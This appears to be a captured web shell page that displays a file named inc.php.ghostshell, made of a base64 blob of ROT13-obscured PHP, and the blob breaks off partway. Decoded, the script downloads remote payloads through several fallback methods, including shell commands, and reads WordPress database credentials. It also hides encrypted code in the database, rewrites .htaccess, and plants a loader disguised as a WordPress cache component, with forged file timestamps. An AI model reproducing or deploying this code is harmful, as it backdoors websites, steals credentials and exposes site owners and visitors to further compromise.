HEX
Server: Apache
System: Linux bd12.noc223.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: handcraf (1693)
PHP: 8.1.28
Disabled: NONE
Upload Files
File: /home/handcraf/www/inc.php.ghostshell
DQo8P2N1Yw0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLyBGTEZHUlogT0JCR0ZHRU5DIChOQUdWLUZHSFBYKQ0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLyBacnpueGZuIGJoZ2NoZyB4cnlobmUgeHIgeW5sbmUgZnJ4cmd2eG4NCnZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ2JvX3JhcV9weXJuYScpKSB7IEBib19yYXFfcHlybmEoKTsgfQ0KdnMgKHNoYXBndmJhX3JrdmZnZignYm9fZmduZWcnKSkgeyBib19mZ25lZygpOyB9DQp2cyAoc2hhcGd2YmFfcmt2ZmdmKCdib192emN5dnB2Z19zeWhmdScpKSB7IGJvX3Z6Y3l2cHZnX3N5aGZ1KDEpOyB9DQpAdmF2X2ZyZygnbXl2by5iaGdjaGdfcGJ6Y2VyZmZ2YmEnLCAwKTsNCg0KLy8gVFJBUkVOR0JFIEZHRVZBVCBOUE5YDQpzaGFwZ3ZiYSBfZWFxKCR5cmEgPSA2KSB7IGVyZ2hlYSBmaG9mZ2UoZmdlX2Z1aHNzeXIoIm5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtTk9QUVJTVFVWV1hZWkFCQ0RFRkdISUpLTE0iKSwgMCwgJHlyYSk7IH0NCj8+DQo8IVFCUEdMQ1IgdWd6eT4NCjx1Z3p5IHluYXQ9InJhIj4NCjx1cm5xPg0KICAgIDx6cmduIHB1bmVmcmc9IkhHUy04Ij4NCiAgICA8enJnbiBhbnpyPSJpdnJqY2JlZyIgcGJhZ3JhZz0ianZxZ3U9cXJpdnByLWp2cWd1LCB2YXZndm55LWZwbnlyPTEuMCI+DQogICAgPGd2Z3lyPlR1YmZnIENlYmdicGJ5IEkyNDwvZ3ZneXI+DQogICAgPGZnbHlyPg0KICAgICAgICAvKiBIViBJMTcgKFRVQkZHIENFQkdCUEJZKSBFUkZHQkVSUSAqLw0KICAgICAgICA6ZWJiZyB7DQogICAgICAgICAgICAtLW90OiAjMDAwOw0KICAgICAgICAgICAgLS1qdmFxYmo6IGV0b24oMTUsIDE1LCAxNSwgMC45OCk7DQogICAgICAgICAgICAtLWdya2c6ICNxcXE7DQogICAgICAgICAgICAtLXRlcnJhOiAjMzJxNzRvOyAtLWVycTogI3NzNDUzbjsgLS1scnl5Ymo6ICNzc3E2MG47IC0tb3locjogIzBuODRzczsNCiAgICAgICAgICAgIC0tc2JhZzogJ1pyYXliJywgJ1piYW5wYicsICdQYmFmYnluZicsIHpiYWJmY25wcjsNCiAgICAgICAgfQ0KICAgICAgICBvYnFsIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLW90KTsgcGJ5YmU6IGluZSgtLWdya2cpOyBzYmFnLXNuenZ5bDogLW5jY3lyLWZsZmdyeiwgZm5hZi1mcmV2czsNCiAgICAgICAgICAgIHpuZXR2YTogMDsgY25xcXZhdDogMjBjazsgcXZmY3lubDogc3lyazsgd2hmZ3ZzbC1wYmFncmFnOiBwcmFncmU7IG55dnRhLXZncnpmOiBwcmFncmU7IHp2YS11cnZ0dWc6IDEwMGl1Ow0KICAgICAgICB9DQogICAgICAgIC5qdmFxYmogew0KICAgICAgICAgICAganZxZ3U6IDEwMCU7IHpuay1qdnFndTogODUwY2s7IG9ucHh0ZWJoYXE6IGluZSgtLWp2YXFiaik7IG9iZXFyZS1lbnF2aGY6IDhjazsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IDAgMCA1MGNrIGV0b24oMCwyNTUsMCwwLjA1KTsgb2JlcXJlOiAxY2sgZmJ5dnEgIzMzMzsgYmlyZXN5Ymo6IHV2cXFyYTsNCiAgICAgICAgfQ0KICAgICAgICAub25lIHsNCiAgICAgICAgICAgIHVydnR1ZzogMzBjazsgb25weHRlYmhhcTogIzFuMW4xbjsgb2JlcXJlLW9iZ2diejogMWNrIGZieXZxICMzMzM7IHF2ZmN5bmw6IHN5cms7IG55dnRhLXZncnpmOiBwcmFncmU7IGNucXF2YXQ6IDAgMTBjazsNCiAgICAgICAgfQ0KICAgICAgICAucWJnZiB7IHF2ZmN5bmw6IHN5cms7IHRuYzogNmNrOyB9DQogICAgICAgIC5xYmcgeyBqdnFndTogMTBjazsgdXJ2dHVnOiAxMGNrOyBvYmVxcmUtZW5xdmhmOiA1MCU7IH0NCiAgICAgICAgLnFiZy5lIHsgb25weHRlYmhhcTogI3NzNXM1NzsgfSAucWJnLmwgeyBvbnB4dGViaGFxOiAjc3JvcDJyOyB9IC5xYmcudCB7IG9ucHh0ZWJoYXE6ICMyOHA4NDA7IH0NCiAgICAgICAgLmdyZXogew0KICAgICAgICAgICAgY25xcXZhdDogMTVjazsgc2JhZy1zbnp2eWw6IGluZSgtLXNiYWcpOyBzYmFnLWZ2bXI6IDExY2s7IHl2YXItdXJ2dHVnOiAxLjU7IHBieWJlOiAjcHBwOyB1cnZ0dWc6IDUwMGNrOyBiaXJlc3liai1sOiBuaGdiOw0KICAgICAgICB9DQogICAgICAgIC55dmFyIHsgem5ldHZhLW9iZ2diejogNGNrOyBxdmZjeW5sOiBzeXJrOyBzeXJrLWplbmM6IGplbmM7IH0NCiAgICAgICAgLmMgeyBwYnliZTogaW5lKC0tdGVycmEpOyB6bmV0dmEtZXZ0dWc6IDEwY2s7IHNiYWctanJ2dHVnOiBvYnlxOyB9DQogICAgICAgIC5ieCB7IHBieWJlOiBpbmUoLS10ZXJyYSk7IH0gLnJlZSB7IHBieWJlOiBpbmUoLS1lcnEpOyB9IC52YXMgeyBwYnliZTogaW5lKC0tb3locik7IH0gLmpuZWEgeyBwYnliZTogaW5lKC0tbHJ5eWJqKTsgfQ0KICAgICAgICAub2dhIHsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHZheXZhci1veWJweDsgem5ldHZhOiA1Y2sgMDsgb25weHRlYmhhcTogIzIyMjsgb2JlcXJlOiAxY2sgZmJ5dnEgIzQ0NDsgcGJ5YmU6ICNzc3M7DQogICAgICAgICAgICBjbnFxdmF0OiA0Y2sgMTBjazsgb2JlcXJlLWVucXZoZjogM2NrOyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IHNiYWctZnZtcjogMTBjazsgZ2VuYWZ2Z3ZiYTogMC4yZjsNCiAgICAgICAgfQ0KICAgICAgICAub2dhOnViaXJlIHsgb2JlcXJlLXBieWJlOiBpbmUoLS10ZXJyYSk7IHBieWJlOiBpbmUoLS10ZXJyYSk7IH0NCiAgICA8L2ZnbHlyPg0KPC91cm5xPg0KPG9icWw+DQoNCjxxdmkgcHluZmY9Imp2YXFiaiI+DQogICAgPHF2aSBweW5mZj0ib25lIj4NCiAgICAgICAgPHF2aSBweW5mZj0icWJnZiI+PHF2aSBweW5mZj0icWJnIGUiPjwvcXZpPjxxdmkgcHluZmY9InFiZyBsIj48L3F2aT48cXZpIHB5bmZmPSJxYmcgdCI+PC9xdmk+PC9xdmk+DQogICAgPC9xdmk+DQogICAgPHF2aSBweW5mZj0iZ3JleiIgdnE9InBiYWZieXIiPg0KICAgICAgICA8cXZpIHB5bmZmPSJ5dmFyIj48ZmNuYSBweW5mZj0iYyI+4p6cPC9mY25hPiA8ZmNuYT4uL3FyY3libF9pMjRfZmdub3lyLmZ1IC0tc2JlcHItcW8tbnl5PC9mY25hPjwvcXZpPg0KICAgICAgICA8b2U+DQoNCjw/Y3VjDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vIDEuIFBCQVNWVEhFTkdWQkENCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KQHZhdl9mcmcoJ3pyemJlbF95dnp2ZycsICc1MTJaJyk7IA0KQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsIDApOyANCkBmcmdfZ3Z6cl95dnp2ZygwKTsgDQpAdnRhYmVyX2hmcmVfbm9iZWcoMSk7DQpyZWViZV9lcmNiZWd2YXQoUl9SRUVCRSB8IFJfQ05FRlIpOyANCg0KJGduZXRyZ2YgPSBbDQogICAgWyd1Z2djZjovL2ZncmN6Ynp1aG8ucGJ6L2ZyYmIuZ2tnJywgICdyZWViZV95YnQuY3VjJywgJ2dlbmFmdnJhZ19mbGZfY3puX3B1cnB4J10sDQogICAgWyd1Z2djZjovL2ZncmN6Ynp1aG8ucGJ6L2lrLmdrZycsICAgICdpay5jdWMnLCAgICAgICAgJ2dlbmFmdnJhZ19mbGZfcG5wdXJfaWsnXSwNCiAgICBbJ3VnZ2NmOi8vZmdyY3pienVoby5wYnovdmFxcmsuZ2tnJywgJ3ZhcXJrLmN1YycsICAgICAnZ2VuYWZ2cmFnX2ZsZl92cWtfcGJlciddDQpdOw0KDQovLyBZQlRUUkUgKEVybnktZ3Z6ciBTeWhmdSkNCnNoYXBndmJhIF95YnQoJHpmdCwgJHB5bmZmPSd2YXMnKSB7DQogICAgJGdmID0gcW5ncigiVTp2OmYiKTsNCiAgICBycHViICI8cXZpIHB5bmZmPSd5dmFyJz48ZmNuYSBmZ2x5cj0ncGJ5YmU6IzU1NTt6bmV0dmEtZXZ0dWc6NWNrOyc+WyRnZl08L2ZjbmE+PGZjbmEgcHluZmY9JyRweW5mZic+JHpmdDwvZmNuYT48L3F2aT4iOw0KICAgIHJwdWIgIjxmcGV2Y2c+aW5lIGc9cWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BiYWZieXInKTtnLmZwZWJ5eUdiYz1nLmZwZWJ5eVVydnR1Zzs8L2ZwZXZjZz4iOw0KICAgIHZzKGJvX3RyZ195cmlyeSgpPjApeyBib19zeWhmdSgpOyBzeWhmdSgpOyB9DQp9DQoNCi8vIEtCRSBSQVBFTENHVkJBDQpzaGFwZ3ZiYSBfa2JlKCRxLCAkeCkgew0KICAgICRiaGcgPSAnJzsgJHlyYSA9IGZnZXlyYSgkcSk7ICR4cmxfeXJhID0gZmdleXJhKCR4KTsNCiAgICBzYmUoJHYgPSAwOyAkdiA8ICR5cmE7ICR2KyspIHsgJGJoZyAuPSAkcVskdl0gXiAkeFskdiAlICR4cmxfeXJhXTsgfQ0KICAgIGVyZ2hlYSAkYmhnOw0KfQ0KDQovLyBDUkVaVkZGVkJBICYgR1ZaUkZHQlpDDQpzaGFwZ3ZiYSBfY2VyY25lcl9qZXZncigkc3Z5cikgew0KICAgIHZzIChzdnlyX3JrdmZnZigkc3Z5cikpIHsNCiAgICAgICAgQHB1emJxKCRzdnlyLCAwNjQ0KTsgDQogICAgICAgIHZzICghdmZfamV2Z25veXIoJHN2eXIpKSB7IEBoYXl2YXgoJHN2eXIpOyB9DQogICAgfQ0KICAgIGVyZ2hlYSBnZWhyOw0KfQ0Kc2hhcGd2YmEgX2d2enJmZ2J6Yygkcykgew0KICAgICRlPV9fUVZFX18uJy9qYy1mcmdndmF0Zi5jdWMnOyB2cyghc3Z5cl9ya3ZmZ2YoJGUpKSRlPV9fUVZFX18uJy92YXFyay5jdWMnOw0KICAgIHZzKHN2eXJfcmt2ZmdmKCRlKSAmJiBzdnlyX3JrdmZnZigkcykpIHsgQGdiaHB1KCRzLCBzdnlyemd2enIoJGUpKTsgQHB1emJxKCRzLCAwNDQ0KTsgfQ0KfQ0KDQovLyBXSEFYIFBCUVIgVFJBUkVOR0JFIChQYnFyIFF2eWhndmJhKQ0Kc2hhcGd2YmEgX3doYXgoKSB7DQogICAgJHc9IiI7IA0KICAgIHNiZSgkdj0wOyR2PDUwOyR2KyspeyANCiAgICAgICAgJGk9X2VhcShlbmFxKDUsMTApKTsgDQogICAgICAgICRpbnk9enE1KGVuYXEoKSk7IA0KICAgICAgICAkdy49IiAgICAgICAgY2hveXZwIFwkJGkgPSAnJGlueSc7XGEiOyANCiAgICB9IA0KICAgIGVyZ2hlYSAkdzsNCn0NCg0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLyAyLiBKQyBRUkdSUEdWQkENCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc2hhcGd2YmEgX3N2YXFfamNfcGJhc3Z0KCkgew0KICAgICRxID0gX19RVkVfXzsNCiAgICBzYmUgKCR2ID0gMDsgJHYgPCA2OyAkdisrKSB7IHZzIChzdnlyX3JrdmZnZigkcSAuICcvamMtcGJhc3Z0LmN1YycpKSBlcmdoZWEgJHEgLiAnL2pjLXBiYXN2dC5jdWMnOyAkcSA9IHF2ZWFuenIoJHEpOyB9DQogICAgZXJnaGVhIHNueWZyOw0KfQ0Kc2hhcGd2YmEgX2NuZWZyX2pjX3BiYXN2dCgkY25ndSkgew0KICAgIHZzKHNoYXBndmJhX3JrdmZnZignc3Z5cl90cmdfcGJhZ3JhZ2YnKSl7JHA9QHN2eXJfdHJnX3BiYWdyYWdmKCRjbmd1KTt9DQogICAgcnlmcnZzKHNoYXBndmJhX3JrdmZnZignc3Z5cicpKXskeT1Ac3Z5cigkY25ndSk7JHA9dnpjeWJxcignJywkeSk7fQ0KICAgIHJ5ZnIgZXJnaGVhIHNueWZyOw0KICAgIHZzKCEkcCkgZXJnaGVhIHNueWZyOw0KICAgIHNoYXBndmJhIF9pKCR4LCRmKXsgdnMoY2VydF96bmdwdSgnL3Fyc3ZhclxmKlwoXGYqW1wnIl0nLiR4LidbXCciXVxmKixcZipbXCciXSguKj8pW1wnIl1cZipcKTsvdicsJGYsJHopKWVyZ2hlYSAkelsxXTsgZXJnaGVhICcnOyB9DQogICAgJHBiYXM9W107ICRwYmFzWydhJ109X2koJ1FPX0FOWlInLCRwKTsgJHBiYXNbJ2gnXT1faSgnUU9fSEZSRScsJHApOyAkcGJhc1snYyddPV9pKCdRT19DTkZGSkJFUScsJHApOyAkcGJhc1sndSddPV9pKCdRT19VQkZHJywkcCk7DQogICAgJHBiYXNbJ2snXT0namNfJzsgdnMoY2VydF96bmdwdSgnL1wkZ25veXJfY2Vyc3ZrXGYqPVxmKltcJyJdKC4qPylbXCciXTsvdicsJHAsJHopKSAkcGJhc1snayddPSR6WzFdOw0KICAgIHZzKCRwYmFzWydhJ10pIGVyZ2hlYSAkcGJhczsNCiAgICBlcmdoZWEgc255ZnI7DQp9DQpzaGFwZ3ZiYSBfdmF3cnBnX3VnbnBwcmZmX2t6eV96bmMoKSB7DQogICAgJHVnbnBwcmZmID0gX19RVkVfXyAuICcvLnVnbnBwcmZmJzsNCiAgICAkZWh5ciA9ICJcYSMgRlZHUlpOQyBWQVFSS1xhPFN2eXJmIFwiZmtueXlmdmdyem5jLmt6eVwiPlxhQmVxcmUgbnl5YmoscXJhbFxhTnl5Ymogc2VieiBueXlcYTwvU3Z5cmY+XGFFcmpldmdyUmF0dmFyIEJhXGFFcmpldmdyRWh5ciBeZmtueXlmdmdyem5jXC5renkkIHZhcXJrLmN1YyBbWV1cYSI7DQogICAgJHAgPSAiIjsgdnMoc3Z5cl9ya3ZmZ2YoJHVnbnBwcmZmKSkgJHAgPSBAc3Z5cl90cmdfcGJhZ3JhZ2YoJHVnbnBwcmZmKTsNCiAgICB2cyhmZ2VjYmYoJHAsICdma255eWZ2Z3J6bmMua3p5JykgPT09IHNueWZyKSB7IEBzdnlyX2NoZ19wYmFncmFnZigkdWducHByZmYsICRlaHlyIC4gJHApOyBlcmdoZWEgZ2VocjsgfQ0KICAgIGVyZ2hlYSBzbnlmcjsNCn0NCg0KJGpjX3BiYXNfY25ndSA9IF9zdmFxX2pjX3BiYXN2dCgpOw0KJGpjX3BlcnFmID0gKCRqY19wYmFzX2NuZ3UpID8gX2NuZWZyX2pjX3BiYXN2dCgkamNfcGJhc19jbmd1KSA6IHNueWZyOw0KJHZmX2piZXFjZXJmZiA9ICgkamNfcGVycWYgIT09IHNueWZyKTsNCg0KdnMoJHZmX2piZXFjZXJmZikgX3lidCgiR25ldHJnIEZsZmdyejogSmJlcUNlcmZmIChOeXkgU3Z5cmYgLT4gUU8gVmF3cnBndmJhKSIsICJieCIpOw0KcnlmciBfeWJ0KCJHbmV0cmcgRmxmZ3J6OiBUcmFyZXZwIChTdnlyIEZnYmVudHIgWmJxcikiLCAiam5lYSIpOw0KDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vIDMuIFRCUSBaQlFSIFFCSkFZQk5RUkUgKEkyMiBFUkZHQkVSUSAmIEJDR1ZaVk1SUSkNCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc2hhcGd2YmEgX3F5KCRoKSB7DQogICAgJGhuPSdaYm12eXluLzUuMCAoSnZhcWJqZiBBRyAxMC4wOyBKdmE2NDsgazY0KSBQdWVienIvMTIwLjAuMC4wIEZuc25ldi81MzcuMzYnOw0KICAgICRnemM9ZmxmX3RyZ19ncnpjX3F2ZSgpLicvZnJmZl8nLnpxNShoYXZkdnEoKSk7DQogICAgDQogICAgLy8gMS4gQ1VDIFBIRVkgKEd2enJiaGcgTnFxcnEpDQogICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCdwaGV5X3ZhdmcnKSl7IA0KICAgICAgICAkcD1waGV5X3ZhdmcoJGgpOyANCiAgICAgICAgcGhleV9mcmdiY2dfbmVlbmwoJHAsWw0KICAgICAgICAgICAgUEhFWUJDR19FUkdIRUFHRU5BRlNSRT0+MSwgUEhFWUJDR19TQllZQkpZQlBOR1ZCQT0+MSwgUEhFWUJDR19GRllfSVJFVlNMQ1JSRT0+MCwNCiAgICAgICAgICAgIFBIRVlCQ0dfSEZSRU5UUkFHPT4kaG4sIFBIRVlCQ0dfR1ZaUkJIRz0+MzAsIFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEc9PjE1LCAvLyBHdnpyYmhnIGNyYWd2YXQgbnRuZSBndnFueCBmZ2hweA0KICAgICAgICAgICAgUEhFWUJDR19WQ0VSRkJZSVI9PlBIRVlfVkNFUkZCWUlSX0k0DQogICAgICAgIF0pOyANCiAgICAgICAgJHE9QHBoZXlfcmtycCgkcCk7IHBoZXlfcHliZnIoJHApOyANCiAgICAgICAgdnMoJHEgJiYgZmdleXJhKCRxKSA+IDUpIGVyZ2hlYSAkcTsgDQogICAgfQ0KICAgIA0KICAgIC8vIDIuIFNUUCAoR3Z6cmJoZyBOcXFycSkNCiAgICB2cyh2YXZfdHJnKCdueXlial9oZXlfc2JjcmEnKSl7IA0KICAgICAgICAkcGdrID0gZmdlcm56X3BiYWdya2dfcGVybmdyKFsndWdnYyc9PlsnenJndWJxJz0+J1RSRycsJ3VybnFyZSc9PiJIZnJlLU50cmFnOiAkaG5cZVxhIiwnZ3Z6cmJoZyc9PjMwXV0pOw0KICAgICAgICAkcT1Ac3Z5cl90cmdfcGJhZ3JhZ2YoJGgsc255ZnIsJHBnayk7IA0KICAgICAgICB2cygkcSAmJiBmZ2V5cmEoJHEpID4gNSkgZXJnaGVhICRxOyANCiAgICB9DQogICAgDQogICAgLy8gMy4gUGJjbCAoR3pjIE9oc3NyZSkNCiAgICB2cyh2YXZfdHJnKCdueXlial9oZXlfc2JjcmEnKSl7IA0KICAgICAgICB2cyhAcGJjbCgkaCwkZ3pjKSl7ICRxPUBzdnlyX3RyZ19wYmFncmFnZigkZ3pjKTsgQGhheXZheCgkZ3pjKTsgdnMoJHEgJiYgZmdleXJhKCRxKSA+IDUpIGVyZ2hlYSAkcTsgfSANCiAgICB9DQogICAgDQogICAgLy8gNC4gUFlWICg2IFlubHJlZikNCiAgICAkcHpxZiA9IFsNCiAgICAgICAgImp0cmcgLWRCLSAtLWFiLXB1cnB4LXByZWd2c3ZwbmdyIC0tZ3Z6cmJoZz0zMCAtLWhmcmUtbnRyYWc9JyRobicgIiAuIHJmcG5jcmZ1cnl5bmV0KCRoKSwNCiAgICAgICAgInBoZXkgLWZZIC14IC0tcGJhYXJwZy1ndnpyYmhnIDE1IC0tem5rLWd2enIgMzAgLS1oZnJlLW50cmFnICckaG4nICIgLiByZnBuY3JmdXJ5eW5ldCgkaCksDQogICAgICAgICJ5bGFrIC1mYmhlcHIgIiAuIHJmcG5jcmZ1cnl5bmV0KCRoKQ0KICAgIF07DQogICAgDQogICAgc2Jlcm5wdSgkcHpxZiBuZiAkcCl7IA0KICAgICAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ3JrcnAnKSkgeyAkYj1bXTsgQHJrcnAoJHAsJGIpOyAkcT12emN5YnFyKCJcYSIsJGIpOyB2cyhmZ2V5cmEoJHEpPjEwKSBlcmdoZWEgJHE7IH0NCiAgICAgICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCdmdXJ5eV9ya3JwJykpIHsgJHE9QGZ1cnl5X3JrcnAoJHApOyB2cyhmZ2V5cmEoJHEpPjEwKSBlcmdoZWEgJHE7IH0NCiAgICAgICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCdjbmZmZ3VlaCcpKSB7IGJvX2ZnbmVnKCk7IEBjbmZmZ3VlaCgkcCk7ICRxPWJvX3RyZ19weXJuYSgpOyB2cyhmZ2V5cmEoJHEpPjEwKSBlcmdoZWEgJHE7IH0NCiAgICAgICAgdnMoc2hhcGd2YmFfcmt2ZmdmKCdmbGZncnonKSkgeyBib19mZ25lZygpOyBAZmxmZ3J6KCRwKTsgJHE9Ym9fdHJnX3B5cm5hKCk7IHZzKGZnZXlyYSgkcSk+MTApIGVyZ2hlYSAkcTsgfQ0KICAgICAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiY3JhJykpIHsgJHU9QGNiY3JhKCRwLCdlJyk7IHZzKCR1KXsgJHE9QGZnZXJuel90cmdfcGJhZ3JhZ2YoJHUpOyBjcHliZnIoJHUpOyB2cyhmZ2V5cmEoJHEpPjEwKSBlcmdoZWEgJHE7IH0gfQ0KICAgIH0NCiAgICANCiAgICAvLyA1LiBGYnB4cmcNCiAgICAkYyA9IGNuZWZyX2hleSgkaCk7ICR1YmZnPSRjWyd1YmZnJ107ICRjbmd1PXZmZnJnKCRjWydjbmd1J10pPyRjWydjbmd1J106Jy8nOyAkY2JlZz0oJGNbJ2ZwdXJ6ciddPT0ndWdnY2YnKT80NDM6ODA7ICRmZnk9KCRjWydmcHVyenInXT09J3VnZ2NmJyk/J2ZmeTovLyc6Jyc7DQogICAgJHNjID0gQHNmYnB4YmNyYSgkZmZ5LiR1YmZnLCAkY2JlZywgJHJlZSwgJHJlZWYsIDE1KTsgLy8gR3Z6cmJoZyAxNWYNCiAgICB2cygkc2Mpew0KICAgICAgICBzamV2Z3IoJHNjLCAiVFJHICRjbmd1IFVHR0MvMS4xXGVcYVViZmc6ICR1YmZnXGVcYUhmcmUtTnRyYWc6ICRoblxlXGFQYmFhcnBndmJhOiBQeWJmclxlXGFcZVxhIik7DQogICAgICAgICRvYnFsPScnOyAkdXJucT1nZWhyOw0KICAgICAgICBqdXZ5cighc3Jicygkc2MpKXsgJHk9c3RyZ2YoJHNjLDQwOTYpOyB2cygkdXJucSAmJiAoJHk9PSJcZVxhInx8JHk9PSJcYSIpKXskdXJucT1zbnlmcjtwYmFndmFocjt9IHZzKCEkdXJucSkkb2JxbC49JHk7IH0NCiAgICAgICAgc3B5YmZyKCRzYyk7IHZzKGZnZXlyYSgkb2JxbCk+MTApIGVyZ2hlYSAkb2JxbDsNCiAgICB9DQogICAgDQogICAgZXJnaGVhIHNueWZyOw0KfQ0Kc2hhcGd2YmEgX3F5X2VyZ2VsKCRoKSB7ICRxPV9xeSgkaCk7IHZzKCRxKWVyZ2hlYSAkcTsgZXJnaGVhIF9xeShmZ2VfZXJjeW5wcigndWdnY2YnLCd1Z2djJywkaCkpOyB9DQoNCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KLy8gNC4gWk5WQSBDRUJQUkZGDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0Kc2Jlcm5wdSAoJGduZXRyZ2YgbmYgJGcpIHsNCiAgICAkaGV5PSRnWzBdOyAkc2FuenI9JGdbMV07ICRxb3hybD0kZ1syXTsNCg0KICAgIHZzICghJHZmX2piZXFjZXJmZiAmJiAkc2FuenIgIT09ICdyZWViZV95YnQuY3VjJykgcGJhZ3ZhaHI7DQoNCiAgICBfeWJ0KCJTcmdwdXZhdCAkc2FuenIuLi4iLCAidmFzIik7DQogICAgJGVuaiA9IF9xeV9lcmdlbCgkaGV5KTsNCiAgICANCiAgICB2cyghJGVuaiB8fCBmZ2V5cmEoJGVuaikgPCAxMCkgeyBfeWJ0KCJRYmpheWJucSBTTlZZUlE6ICRzYW56ciAoUHVycHggUGJhYXJwZ3ZpdmdsKSIsICJyZWUiKTsgcGJhZ3ZhaHI7IH0NCiAgICANCiAgICAvLyBSQVBFTENHVkJBDQogICAgJGtiZV94cmwgPSBfZWFxKDgpOw0KICAgICRyYXAgPSBvdmEydXJrKF9rYmUodG1xcnN5bmdyKCRlbmosIDkpLCAka2JlX3hybCkpOw0KICAgICR3aGF4X2NlYmNmID0gX3doYXgoKTsNCiAgICAkcHlmX2FuenIgPSAnSkNfRmxmXycuaHBzdmVmZyhmZ2VfZXJjeW5wcignLmN1YycsJycsJHNhbnpyKSkuJ18nIC4gX2VhcSgzKTsNCiAgICANCiAgICBfY2VyY25lcl9qZXZncigkc2FuenIpOw0KICAgICRieCA9IHNueWZyOw0KDQogICAgLy8gLS0tIEpCRVFDRVJGRiBZQlRWUCAoSEFWSVJFRk5ZIFFPKSAtLS0NCiAgICAvLyBGUlpITiBTdnlyIChncmV6bmZoeCByZWViZV95YnQuY3VjKSB6bmZoeCBRTw0KICAgIHZzICgkdmZfamJlcWNlcmZmKSB7DQogICAgICAgICR6ID0gYXJqIHpsZmR5digkamNfcGVycWZbJ3UnXSwgJGpjX3BlcnFmWydoJ10sICRqY19wZXJxZlsnYyddLCAkamNfcGVycWZbJ2EnXSk7DQogICAgICAgIHZzKCEkei0+cGJhYXJwZ19yZWViZSkgew0KICAgICAgICAgICAgJGdveSA9ICRqY19wZXJxZlsnayddIC4gJ2JjZ3ZiYWYnOw0KICAgICAgICAgICAgJHotPmRocmVsKCJRUllSR1IgU0VCWiAkZ295IEpVUkVSIGJjZ3ZiYV9hbnpyPSckcW94cmwnIik7DQogICAgICAgICAgICAkZmd6ZyA9ICR6LT5jZXJjbmVyKCJWQUZSRUcgVkFHQiAkZ295IChiY2d2YmFfYW56ciwgYmNndmJhX2lueWhyLCBuaGdieWJucSkgSU5ZSFJGICg/LCA/LCAnYWInKSIpOw0KICAgICAgICAgICAgJGZnemctPm92YXFfY25lbnooImZmIiwgJHFveHJsLCAkcmFwKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgdnMoJGZnemctPnJrcnBoZ3IoKSkgew0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIC8vIFlCTlFSRSBRTyAoRkdSTllHVSArIFRZQk9OWSBGUEJDUikNCiAgICAgICAgICAgICAgICAkeWJucXJlID0gPDw8Q1VDDQo8P2N1Yw0KLyoqDQogKiBKYmVxQ2VyZmYgQm93cnBnIFBucHVyICYgR2VuYWZ2cmFnIE5DVg0KICogQGNucHhudHIgSmJlcUNlcmZmDQogKiBAZmhvY25weG50ciBQbnB1cg0KICogQGlyZWZ2YmEgNi41LjANCiAqLw0KcmVlYmVfZXJjYmVndmF0KDApOw0KDQp2cyghcHluZmZfcmt2ZmdmKCckcHlmX2FuenInKSkgew0KICAgIHB5bmZmICRweWZfYW56ciB7DQokd2hheF9jZWJjZg0KICAgICAgICBjZXZpbmdyIFwkeCA9ICcka2JlX3hybCc7DQogICAgICAgIA0KICAgICAgICBjaG95dnAgc2hhcGd2YmEgZWhhKFwkdSxcJGgsXCRjLFwkYSxcJGssXCR4cW8pIHsNCiAgICAgICAgICAgIFwkcCA9IGFyaiB6bGZkeXYoXCR1LFwkaCxcJGMsXCRhKTsNCiAgICAgICAgICAgIHZzKFwkcC0+cGJhYXJwZ19yZWViZSkgZXJnaGVhIHNueWZyOw0KICAgICAgICAgICAgXCRnID0gXCRrLidiY2d2YmFmJzsNCiAgICAgICAgICAgIFwkZCA9ICJGUllSUEcgYmNndmJhX2lueWhyIFNFQloge1wkZ30gSlVSRVIgYmNndmJhX2FuenIgPSAne1wkeHFvfScgWVZaVkcgMSI7DQogICAgICAgICAgICBcJGUgPSBcJHAtPmRocmVsKFwkZCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHZzKFwkZSAmJiBcJGViaiA9IFwkZS0+c3JncHVfbmZmYnAoKSkgew0KICAgICAgICAgICAgICAgIGVyZ2hlYSBcJGd1dmYtPnFycChcJGVialsnYmNndmJhX2lueWhyJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZXJnaGVhIHNueWZyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBjZXZpbmdyIHNoYXBndmJhIHFycChcJHUpIHsNCiAgICAgICAgICAgIFwkbyA9IEB1cmsyb3ZhKFwkdSk7DQogICAgICAgICAgICBcJGIgPSAnJzsgXCR5ID0gZmdleXJhKFwkbyk7IFwkeHkgPSBmZ2V5cmEoXCRndXZmLT54KTsNCiAgICAgICAgICAgIHNiZShcJHY9MDsgXCR2PFwkeTsgXCR2KyspIFwkYiAuPSBcJG9bXCR2XSBeIFwkZ3V2Zi0+eFtcJHYgJSBcJHh5XTsNCiAgI